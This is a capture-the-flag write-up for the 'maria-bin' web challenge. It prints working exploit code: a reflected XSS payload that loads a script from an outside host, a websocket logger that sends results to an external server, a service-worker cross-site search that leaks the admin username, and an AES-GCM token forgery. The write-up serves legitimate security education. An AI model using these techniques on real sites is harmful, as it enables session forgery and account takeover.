Sources (https://github.com/redpwn/redpwnctf-2020-challenges/tree/master/web/maria-bin) are given for a web application that runs at https://app.maria-bin.tk/. The target is to login as the admin in order for the flag to appear at https://app.maria-bin.tk/new.
res.end(mustache.render(newPage, { // pages/new.html
csrf,
flag: type === 'admin' ? flag : null
}));
Full exploit code for this challenge can be found here: https://gist.github.com/iczero/746173bf4b71595634b672321a8eb3c2
The /view
endpoint has a reflected XSS attack where it will directly include
the value of the id
query parameter in the body, without escaping.
<!doctype html>
<!-- triple braces should not be used here! -->
<h3>Paste {{{ id }}}</h3>
<pre>
{{ content }}
</pre>
Session tokens are generated by simply encrypting the user's username with
AES-256 in GCM mode. As GCM is an authenticated encryption mode, this should
usually be secure. However, in the code that decrypts and verifies the token,
Decipheriv.prototype.final()
is never called. As such, the authentication tag is
never checked against the ciphertext.
const decryptToken = async token => {
try {
const tokenContent = Buffer.from(token, 'base64');
const iv = tokenContent.slice(0, 12);
const authTag = tokenContent.slice(tokenContent.length - 16);
const cipher = crypto.createDecipheriv('aes-256-gcm', tokenKey, iv);
cipher.setAuthTag(authTag); // authentication tag set
const plainText = cipher.update(tokenContent.slice(12, tokenContent.length - 16));
return plainText.toString(); // final() never called!
} catch (e) {
return null;
}
};
In all endpoints that need CSRF tokens, the CSRF token in form data is checked
against the __Host-csrf
cookie in the headers. However, in the cookie parser,
the value of the Cookie
header is url-decoded before being split.
const cookies = new Map(
decodeURIComponent(req.headers.cookie || '')
.split('; ')
.map(c => c.split('='))
);
This allows for setting a cookie without the __Host-
prefix, removing the
restrictions arising from that, while also overwriting the previous CSRF cookie
on the side of the web server. By setting a cookie of name %5F%5FHost-csrf
with a domain of maria-bin.tk
, it is possible to effectively overwrite the
CSRF cookie with a controlled value.
To simplify exploits, a websocket server is run on an external domain to receive logs and results from the exploit scripts.
let logSocket = new WebSocket(LOG_WS);
logSocket.addEventListener('open', _event => {
doExploit();
});
function log(...msg) {
console.log(...msg);
if (logSocket.readyState === WebSocket.OPEN) {
logSocket.send(JSON.stringify(msg));
}
}
Since we have XSS on raw.maria-bin.tk
, we can use that to set a cookie with a
domain of maria-bin.tk
. This is used to overwrite the CSRF cookie.
// main page
const COOKIE_HELPER_PATH = 'https://hellomouse.net/static/mariahax-cookie-helper.js';
const CSRF_SPOOF_URL = 'https://raw.maria-bin.tk/view?id=100dcc519bf083fc973bcb0c1f96f030' +
encodeURIComponent(`<script type="text/javascript" src="${COOKIE_HELPER_PATH}"></script>`);
async function spoofCSRF() {
log('adding iframe for cookies');
let iframe = document.createElement('iframe');
iframe.src = CSRF_SPOOF_URL;
document.body.appendChild(iframe);
let deferred = new Deferred();
let iframeLoadListener = () => {
iframe.removeEventListener('load', iframeLoadListener);
deferred.resolve();
};
iframe.addEventListener('load', iframeLoadListener);
await deferred.promise;
log('iframe loaded');
}
To forge the admin's token, it is first necessary to find their username.
Unfortunately, this is secret. Fortunately, it is possible to conduct an
XS-Search attack to leak it. Unfortunately, browsers have many protections in
place to prevent this exact attack from happening. Since the /search
endpoint
returns a 404 when there are no results, the easiest way to do this would be to
listen for error events on an iframe
. This is not possible.
Service workers have a pretty nifty feature that allows them to rewrite requests
on the fly by listening to the fetch
event. These requests can come from,
among other places, script
tags. The following code rewrites requests to
TARGET_URL
with a POST request with the necessary parameters for the /search
endpoint.
const TARGET_URL = 'https://app.maria-bin.tk/search';
const TYPE = 'admin';
let search = null; // set by RPC between main and service worker
self.addEventListener('fetch', event => {
if (event.request.url === TARGET_URL) {
let formData = new URLSearchParams();
formData.append('type', TYPE);
formData.append('name', search);
formData.append('csrf', 'WHEREISYOURSECURITYNOW');
let request = new Request(event.request, {
method: 'POST',
body: formData,
credentials: 'include'
});
event.respondWith(fetch(request));
}
});
script
tags conveniently fire the load
event when its contents successfully
load (even if it is invalid JavaScript) and the error
event when it gets an
error status code, such as 404. Using this in combination with the service
worker allows for us to determine the result of the POST request even though it
is cross-orign.
const SEARCH_ENDPOINT = 'https://app.maria-bin.tk/search';
let targetElement = null;
let objectContainer = document.createElement('div');
function recreateObject() {
if (targetElement && targetElement.parentElement) {
targetElement.parentElement.removeChild(targetElement);
}
targetElement = document.createElement('script');
targetElement.type = 'text/javascript';
targetElement.src = SEARCH_ENDPOINT;
return new Promise((resolve, _reject) => {
targetElement.addEventListener('error', () => {
log('script load failure');
resolve(false);
});
targetElement.addEventListener('load', () => {
log('script load success');
resolve(true);
});
objectContainer.appendChild(targetElement);
});
}
async function trySearch(search) {
log('trying', search);
await setSearch(search); // RPC to service worker
return await recreateObject();
}
document.body.appendChild(objectContainer);
Now we simply need to try every character in the character set to discover the full username of the admin.
const CHARSET = 'abcdefghijklmnopqrstuvwxyz-0123456789'.split('');
// this is necessary as the admin bot terminates the script before it finishes
// searching the entire admin username
const PRELOAD_VALID = '';
async function runSearch() {
let valid = PRELOAD_VALID;
while (true) {
let found = false;
// try every character in the character set
for (let i = 0; i < CHARSET.length; i++) {
let currentChar = CHARSET[i];
let result = await trySearch(valid + currentChar);
if (result) {
valid += currentChar;
found = true;
break;
}
}
// nothing in charset
if (!found) {
log('end or character not in charset, currently', valid);
break;
}
}
}
This finds the admin username to be king-horse-5diuoe7tpxjen8xu0n7
.
AES-GCM without authentication is simply AES-CTR. Since the IV is part of the token, it can be controlled. With this, it is possible to perform a known-plaintext attack. This can be used to generate a token for the admin.
First, log in to the site with a username of the same length as the target
username (30). In this case, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
is used. The
layout of the returned token (in cookie __Host-token
) is as follows:
- 12 bytes IV
- 30 bytes ciphertext
- 16 bytes authentication tag
To forge the token for the admin, XOR the ciphertext of the generated token with the plaintext, and then XOR that with the username of the admin. Copy the IV as is, and append 16 bytes (it does not matter what they are, as it is never checked) to the end to serve as the authentication tag.
- 12 bytes original IV
- 30 bytes forged ciphertext
- 16 bytes authentication tag (unused)
Base64 the result, then urlencode it. This can now be used as the authentication token for the admin.
// first, generate a token for a known user
let token = Buffer.from(decodeURIComponent('THE_COOKIE'), 'base64');
let firstUsername = Buffer.from('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa');
let targetUsername = Buffer.from('king-horse-5diuoe7tpxjen8xu0n7');
let iv = Buffer.alloc(12);
token.copy(iv, 0, 0, 12);
let cipherText1 = Buffer.alloc(30);
token.copy(cipherText1, 0, 12, 42);
let authTag = Buffer.alloc(16); // does not matter
let plainText1 = Buffer.alloc(30);
firstUsername.copy(plainText1);
let plainText2 = Buffer.alloc(30);
targetUsername.copy(plainText2);
function xor(buf1, buf2, target, length) {
for (let i = 0; i < length; i++) {
target[i] = buf1[i] ^ buf2[i];
}
}
let cipherText2 = Buffer.alloc(30);
xor(cipherText1, plainText2, cipherText2, 30);
xor(cipherText2, plainText1, cipherText2, 30);
let output = Buffer.alloc(58);
iv.copy(output);
cipherText2.copy(output, 12);
authTag.copy(output, 12 + 30);
console.log(encodeURIComponent(output.toString('base64')));
Simply set the __Host-token
cookie to the value from the last step. This can
be easily done using the devtools of your preferred browser. Navigate to
https://app.maria-bin.tk/new and find your flag.